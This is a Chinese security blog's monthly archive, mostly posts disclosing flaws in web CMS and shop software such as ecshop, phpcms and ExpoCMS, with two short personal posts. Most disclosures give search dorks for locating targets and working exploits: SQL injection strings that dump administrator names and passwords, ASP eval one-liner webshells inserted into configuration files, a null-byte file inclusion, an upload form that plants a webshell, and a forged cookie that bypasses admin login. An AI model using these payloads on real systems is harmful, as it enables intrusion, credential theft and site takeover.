浏览模式: 标准 | 列表2011年01月的文章

下载:http://down.admin5.com/asp/46191.html

关键字:inurl:show_card.asp?id=

漏洞文件:show_card.asp及其他多个文件

FROM:http://www.st999.cn/blog

<%id=trim(request("id"))
if id ="" then
response.Redirect("default.asp")
response.End()
end if
set rs=conn.execute("select * from card where id ="&id)
if rs.eof then
response.Write "该卡不存在"
response.End()
end if
user_name=rs("add_user")
set c1=conn.execute("select * from card_class where id="&rs("class_1"))
      if not c1.eof then
  c1_name=c1("name")
  card_img=c1("card_img")
  card_url=c1("card_url")
  end if
%>

这里的id直接代入查询,而程序也只防了get和post两种注入,那么我们就可以采用cookie注入获得管理员用户名和密码

大小: 60.39 K
尺寸: 500 x 399
浏览: 79 次
点击打开新窗口浏览全图

exp:

and 1=2 union select 1,2,3,admin,5,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin_user

 

Tags: 华速

phpcms V9 BLind SQL Injection Vulnerability

Submitted by admin
2011, January 23, 11:23 AM

=================================================================
    phpcms V9 BLind SQL Injection Vulnerability
=================================================================

Software:   phpcms V9
Vendor:     www.phpcms.cn
Vuln Type:  BLind SQL Injection
Download link:  http://www.phpcms.cn/2010/1229/326.html
Author:     eidelweiss
contact:    eidelweiss[at]windowslive[dot]com
Home:       www.eidelweiss.info

Google Dork:    http://www.exploit-db.com/ghdb/3676/    // check here ^_^

References:
http://eidelweiss-advisories.blogspot.com/2011/01/phpcms-v9-blind-sql-injection.html

=================================================================

    exploit & p0c

[!] index.php?m=content&c=rss&catid=[valid catid]

    Example p0c

[!] http://host/index.php?m=content&c=rss&catid=10  <= True
[!] http://host/index.php?m=content&c=rss&catid=-10 <= False

[+] http://host/index.php?m=content&c=rss&catid=5   <= show MySQL Error (table)

=================================================================

    Nothing Impossible In This World Even Nobody`s Perfect

=================================================================

=========================| -=[ E0F ]=- |=========================

Tags: phpcms

Phpcms 2008 flash_upload.php文件注入漏洞

Submitted by admin
2011, January 21, 12:37 PM

针对版本:Phpcms 2008 V2

一个小日本今天公布的



注入地址

http://server/phpcms_th/flash_upload.php?modelid=1

大小: 64.98 K
尺寸: 500 x 390
浏览: 60 次
点击打开新窗口浏览全图

Tags: phpcms

一句话插配置文件

Submitted by admin
2011, January 17, 12:39 AM

http://www.t00ls.net/viewthread.php?tid=13901

一句话插入配置文件system.asp

没有过滤双引号,插入一句就行。

常规插法如下:

"%><%eval request("d")%><%

但金刀客这篇文件(http://www.cqzh.cn/post/328.html)为什么说

"%><%eval request("d")%><%s="

必须要加s=呢?

比如:

web_name="中国纺织网"

插入后:

web_name="中国纺织网"%><%eval request("d")%><%"

跟这样不就全闭合了吗?

还需要<%s="干嘛?直接<%闭合下面的不就行了。

 

=========

":eval request(9)      //这多简单

=================

<%
webname="abc"
webhost="d:\abc\abc\www"
%>

插入"%><%eval request("d")%><%s="后就变成
<%
webname="abc"%><%eval request("d")%><%s=""
webhost="d:\abc\abc\www"
%>

 

============

test"%><%execute request("value")%><%a="test

Tags: 一句话

长智齿了,智慧来了

Submitted by admin
2011, January 14, 6:21 PM

长智齿了,智慧来了

长智齿了,疼死我了

活了小半生,还会长牙齿,真他妈的奇怪了

 

百度了一下智齿的资料:

齿,学名第三大臼齿,俗称智慧齿、立事牙、尽头牙,是口腔最靠近喉咙的牙齿,如果全部生长出来一共4颗,上下各两颗,一般是于16岁或之后才生长出来,相较于幼儿时期长出的乳齿与儿童时期更换的恒齿,智齿通常是在人类心智已经趋于成熟时才长出,因而得名。另有同名小说和电影《智齿》。

 

嘿嘿,,,长智慧了我。。。

 

具体的参见百度百科

http://baike.baidu.com/view/524.htm

 

 

ecshop最新版(v272) 本地包含漏洞ODAY(鸡肋)

Submitted by admin
2011, January 11, 5:52 PM

注:发布本文只是出于学习的目的,请勿用无非法用途!

很久前就发现了,今天发布出来吧,其实很简单,就是很多人没有注意这里:

直接看代码:
js/calendar.php

  1. $lang = (!empty($_GET['lang']))
  2. ? trim($_GET['lang']) : 'zh_cn';//没有过滤,很明显的包含漏洞 by: ℡Mr.LP
  3.  
  4. if (!file_exists('../languages/' . $lang . '/calendar.php'))
  5. {
  6. $lang = 'zh_cn';
  7. }
  8.  
  9. require(dirname(dirname(__FILE__)) . '/data/config.php');
  10. header('Content-type: application/x-javascript; charset=' . EC_CHARSET);
  11.  
  12. include_once('../languages/' . $lang . '/calendar.php');//这里包含,需要截断 by: ℡Mr.
复制代码

测试代码 :

// 需要 magic_quotes_gpc = Off

/js/calendar.php?lang=../index.php%00.(注意后面有个.)by: ℡Mr.LP

利用:

注册用户

然后上传GIF89a头的GIF文件欺骗,

然后包含 如:[img]http://www.lpboke.com/js/calendar.php?lang=../data/feedbackimg/6_20101228vyrpbg.gif%00.

Tags: ecshop, oday

主站被挂了黑链

Submitted by admin
2011, January 8, 4:00 PM

刚刚阿神提醒我,首页有问题,我一看,呃,果然,妈的,被挂了黑链了,还好。。。

还好挂我链的是个RP好的黑阔,没动我数据。。。

不像helen那JJ,删了我数据,搞的到现在,blog的图片也恢复不了。。。

感谢没动我数据的黑阔!!!

小站很容易黑的,大牛就放过吧!

区区虚拟机而已!

小菜个人笔记之地而已!

“幸福百相园”相册GETSHELL漏洞

Submitted by admin
2011, January 7, 11:53 AM

漏洞出现在
index.php





if($do == 'upload'){   
     if($_POST['formsub']){
         $file = $_FILES['upload'];
         if(!$file['error']){
             if(strpos($file['type'], 'image') === 0){
                 $hash = $_POST['i'].'.jpg'; //若是IIS,则可此处可自行构造IIS畸形文件扩展名得到一个webshell
                 if(move_uploaded_file($file['tmp_name'], "./attach/$hash")){
                     thumb("./attach/$hash");
                     js_reload();
                 } else{
                     js_alert('保存失败!');   
                 }
             } else{
                 js_alert('不支持的格式!');
             }   
         } else{
             js_alert('上传出错啦!');
         }
     }
}










本地构造表单


<form action="http://XXX.com/user/index.php?do=upload" method="post" enctype="multipart/form-data" name="form_post" id="form_post" target="ajax">
<input type="file" name="upload">
<input type="hidden" name="i" value="1.php;">  这里可以改为1.asp;或者别的类型的文件
<input type="hidden" name="formsub" value="true">
<input name="submit" type="submit"  value="上传">
<iframe name="ajax" id="ajax" style="display:none"></iframe>
</form>
提交一个包含"gif89a"文件头的木马(大马),会在/attach目录下生成一个1.php;.jpg的webshell。如果IE显示红X,请换火狐

利用:搜索关键词“专注于收集、发布网友喜欢的图片”。这套相册大部分集成于dedecms的图片类网站,目录为http://www.xxx.com/user

Tags: dede, dedecms

ExpoCMS后台验证漏洞

Submitted by admin
2011, January 6, 10:24 AM

/admin/CheckLogin.asp

 

  1. <%
  2. Response.Buffer = True
  3. Response.Expires = -1
  4. Response.ExpiresAbsolute = Now() - 1
  5. Response.Expires = 0
  6. Response.CacheControl = "no-cache"
  7. Session.CodePage = 65001
  8. Response.Charset = "UTF-8"
  9. UserName=Request.Cookies("CNVP_CMS2")("UserName")  '在cookie中取username值
  10. If UserName="" Then     
  11.         Response.Redirect("Admin_Login.asp")        '如果为空,就跳转
  12.         Response.End()
  13. End If
  14. %>

 

exp: javascript:alert(document.cookie="CNVP%5FCMS2=UserName=admin")   这样就能进后台了  /admin/Admin_Index.asp
后台有个上传的地方可以拿webshell

Tags: expocms

ECshop 支付方式注射 0day

Submitted by admin
2011, January 5, 10:18 PM

ECshop 支付方式注射

发布日期:2011.1.5
挖掘作者:fjhgx(俺是农村的)
联系方式:bugtosafe@gmail.com
漏洞文件:lib_payment.php
漏洞函数:get_order_id_by_sn($order_sn, $voucher = 'false')


includes\lib_payment.php(ECSHOP 支付接口函数库)

 

(53行)
/**
*  通过订单sn取得订单ID
*  @param  string  $order_sn   订单sn
*  @param  blob    $voucher    是否为会员充值
*/
function get_order_id_by_sn($order_sn, $voucher = 'false')
{
    if ($voucher == 'true')                                //要想触发漏洞,需保证函数的第二个参数为真。
    {
        return $GLOBALS['db']->getOne("SELECT log_id FROM " . $GLOBALS['ecs']->table('pay_log') . " WHERE order_id=" . $order_sn . ' AND order_type=1');
                //漏洞位于$order_sn变量,触发原因未经过单引号过滤。from:fjhgx(俺是农村的)
    }
    else
    {
        if(is_numeric($order_sn))
        {
            $sql = 'SELECT order_id FROM ' . $GLOBALS['ecs']->table('order_info'). " WHERE order_sn = '$order_sn'";
            $order_id = $GLOBALS['db']->getOne($sql);
        }
        if (!empty($order_id))
        {
            $pay_log_id = $GLOBALS['db']->getOne("SELECT log_id FROM " . $GLOBALS['ecs']->table('pay_log') . " WHERE order_id='" . $order_id . "'");
            return $pay_log_id;
        }
        else
        {
            return "";
        }
    }
}

 

respond.php(ECSHOP 支付响应页面)

 

(56行)
/* 判断是否启用 */        //判断了支付方式,鸡肋了点。from: fjhgx(俺是农村的)
    $sql = "SELECT COUNT(*) FROM " . $ecs->table('payment') . " WHERE pay_code = '$pay_code' AND enabled = 1";
    if ($db->getOne($sql) == 0)
    {
        $msg = $_LANG['pay_disabled'];
    }
    else
    {
        $plugin_file = 'includes/modules/payment/' . $pay_code . '.php';                                //包含支付方式的文件,位于“includes\modules\payment”目录下。

        /* 检查插件文件是否存在,如果存在则验证支付是否成功,否则则返回失败信息 */
        if (file_exists($plugin_file))
        {
            /* 根据支付方式代码创建支付类的对象并调用其响应操作方法 */
            include_once($plugin_file);

            $payment = new $pay_code();
            $msg     = ($payment->respond()) ? $_LANG['pay_success'] : $_LANG['pay_fail'];
        }
        else
        {
            $msg = $_LANG['pay_not_exist'];
        }
    }

 

总共有三处可能触发的漏洞;
1.

  1. tenpay.php(200行)
  2. if ($attach == 'voucher')
  3.         {
  4.             $log_id = get_order_id_by_sn($sp_billno, "true");        //调用漏洞存在的函数,get_order_id_by_sn。from: fjhgx(俺是农村的)
  5.         }
  6.         else
  7.         {
  8.             $log_id = get_order_id_by_sn($sp_billno);
  9.         }
复制代码

2.

  1. cncard.php(207行)
  2. //验证通过后,将订单sn转换为ID 来操作ec订单表
  3.         if ($c_memo2 == 'voucher')
  4.         {
  5.             $c_order = get_order_id_by_sn($c_order, "true");        //注意 from:俺是农村的 bugtosafe@gmail.com
  6.         }
  7.         else
  8.         {
  9.             $c_order = get_order_id_by_sn($c_order);
  10.         }
复制代码

3.

  1. chinabank.php(156行)
  2. //验证通过后,将订单sn转换为ID 来操作ec订单表
  3.         $v_oid = get_order_id_by_sn($v_oid, "true");        //注意 from:俺是农村的 bugtosafe@gmail.com
  4.         }
  5.         else
  6.         {
  7.         $v_oid = get_order_id_by_sn($v_oid);
  8.         }
  9.  
  10.         if ($v_pstatus == '20')
  11.         {
  12.             /* 改变订单状态 */
  13.             order_paid($v_oid);
  14.  
  15.             return true;
  16.         }

漏洞验证:
respond.php?code=tenpay&attach=voucher&sp_billno=fjhgx
respond.php?code=cncard
respond.php?code=chinabank

EXP:
respond.php?code=tenpay&attach=voucher&sp_billno=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(*),0x27,0x7e) FROM `ecs`.ecs_admin_user)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1


纯属喜爱PHP,学习审核PHP源代码,未有任何意思。
此分析文章,只给学习PHP的人研究,不得用于非法用途。
一切有害、有益的结果于作者&狼族组织无任何关系。

 

=============

 

暴用户名:

http://site/respond.php?code=tenpay&attach=voucher&sp_billno=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20user_name%20FROM%20ecs_admin_user%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1

暴密码:

http://site/respond.php?code=tenpay&attach=voucher&sp_billno=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20user_name%20FROM%20ecs_admin_user%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1

如果表前缀被改如下所示:

MySQL server error report:Array ( [0] => Array ( [message] => MySQL Query Error ) [1] => Array ( [sql] => SELECT log_id FROM `aimeili`.`aml_pay_log` WHERE order_id=1 and(select 1 from(select count(*),concat((select (select (SELECT password FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 AND order_type=1 ) [2] => Array ( [error] => Table 'aimeili.ecs_admin_user' doesn't exist ) [3] => Array ( [errno] => 1146 ) )

只要修改ecs_admin_user为aml_admin_user即可

Tags: ecshop